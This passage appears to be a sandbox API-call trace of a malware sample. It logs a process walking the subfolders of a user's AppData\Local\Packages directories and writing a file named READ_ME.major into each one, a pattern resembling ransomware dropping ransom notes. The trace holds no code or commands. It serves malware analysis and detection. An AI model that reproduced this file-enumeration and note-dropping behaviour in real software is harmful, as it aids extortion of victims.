(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0188.274] WriteFile (in: hFile=0x8d4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.275] CloseHandle (hObject=0x8d4) returned 1 [0188.275] FindNextFileW (in: hFindFile=0x6612b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x223d4afc, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x223d4afc, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x223d4afc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0188.275] FindNextFileW (in: hFindFile=0x6612b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce1b2c77, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd08196, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0188.275] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0188.276] WriteFile (in: hFile=0x8d4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.277] CloseHandle (hObject=0x8d4) returned 1 [0188.277] FindNextFileW (in: hFindFile=0x6612b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x71259ffc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71259ffc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0188.277] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0188.314] WriteFile (in: hFile=0x8d4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.315] CloseHandle (hObject=0x8d4) returned 1 [0188.315] FindNextFileW (in: hFindFile=0x6612b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce23db47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd08196, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0188.315] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0188.315] WriteFile (in: hFile=0x8d4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.316] CloseHandle (hObject=0x8d4) returned 1 [0188.316] FindNextFileW (in: hFindFile=0x6612b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce23db47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd08196, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0188.316] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.3_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb85500d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeb8a14cb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x223d4afc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6616b0 [0188.317] FindNextFileW (in: hFindFile=0x6616b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb85500d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeb8a14cb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x223d4afc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0188.317] FindNextFileW (in: hFindFile=0x6616b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb8a14cb, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeb8a14cb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xeb8a14cb, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0188.317] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.3_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.3_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d8 [0188.417] WriteFile (in: hFile=0x8d8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.419] CloseHandle (hObject=0x8d8) returned 1 [0188.419] FindNextFileW (in: hFindFile=0x6616b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x223d4afc, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x223d4afc, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x223d4afc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0188.419] FindNextFileW (in: hFindFile=0x6616b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x223d4afc, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x223d4afc, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x223d4afc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0188.419] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.4_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94b424e4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94bb4bf1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x223d4afc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x661270 [0188.419] FindNextFileW (in: hFindFile=0x661270, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94b424e4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94bb4bf1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x223d4afc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0188.419] FindNextFileW (in: hFindFile=0x661270, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x94bb4bf1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94bb4bf1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x94bb4bf1, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0188.419] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.4_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.4_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc [0188.528] WriteFile (in: hFile=0x8dc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.529] CloseHandle (hObject=0x8dc) returned 1 [0188.529] FindNextFileW (in: hFindFile=0x661270, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x223d4afc, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x223d4afc, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x223d4afc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0188.529] FindNextFileW (in: hFindFile=0x661270, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x223d4afc, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x223d4afc, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x223d4afc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0188.529] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28b9688c, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x3509b345, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x223d4afc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6616f0 [0188.529] FindNextFileW (in: hFindFile=0x6616f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28b9688c, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x3509b345, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x223d4afc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0188.529] FindNextFileW (in: hFindFile=0x6616f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28df8e9e, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x35028d59, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x35028d59, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0188.529] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.6_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0 [0188.531] WriteFile (in: hFile=0x8e0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.532] CloseHandle (hObject=0x8e0) returned 1 [0188.533] FindNextFileW (in: hFindFile=0x6616f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28d3a3d7, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce398197, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28d3a3d7, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0188.533] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.6_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0 [0188.637] WriteFile (in: hFile=0x8e0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.638] CloseHandle (hObject=0x8e0) returned 1 [0188.638] FindNextFileW (in: hFindFile=0x6616f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c555af, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce3985e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28c555af, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0188.638] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.6_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0 [0188.639] WriteFile (in: hFile=0x8e0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.640] CloseHandle (hObject=0x8e0) returned 1 [0188.641] FindNextFileW (in: hFindFile=0x6616f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28bbcae8, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce398aca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28bbcae8, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0188.641] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.6_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0 [0188.641] WriteFile (in: hFile=0x8e0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.642] CloseHandle (hObject=0x8e0) returned 1 [0188.642] FindNextFileW (in: hFindFile=0x6616f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x223d4afc, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x223d4afc, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x223d4afc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0188.642] FindNextFileW (in: hFindFile=0x6616f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c2f328, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce399062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28c2f328, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0188.642] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.6_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0 [0188.643] WriteFile (in: hFile=0x8e0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.644] CloseHandle (hObject=0x8e0) returned 1 [0188.644] FindNextFileW (in: hFindFile=0x6616f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c555af, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x71259ffc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71259ffc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0188.644] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.6_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0 [0188.647] WriteFile (in: hFile=0x8e0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.647] CloseHandle (hObject=0x8e0) returned 1 [0188.648] FindNextFileW (in: hFindFile=0x6616f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c2f328, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce44eb59, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28c2f328, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0188.648] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.6_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0 [0188.648] WriteFile (in: hFile=0x8e0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.649] CloseHandle (hObject=0x8e0) returned 1 [0188.649] FindNextFileW (in: hFindFile=0x6616f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c2f328, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce44eb59, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28c2f328, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0188.649] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e030d8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x8d974b3f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x223fac67, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x661730 [0188.650] FindNextFileW (in: hFindFile=0x661730, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e030d8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x8d974b3f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x223fac67, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) 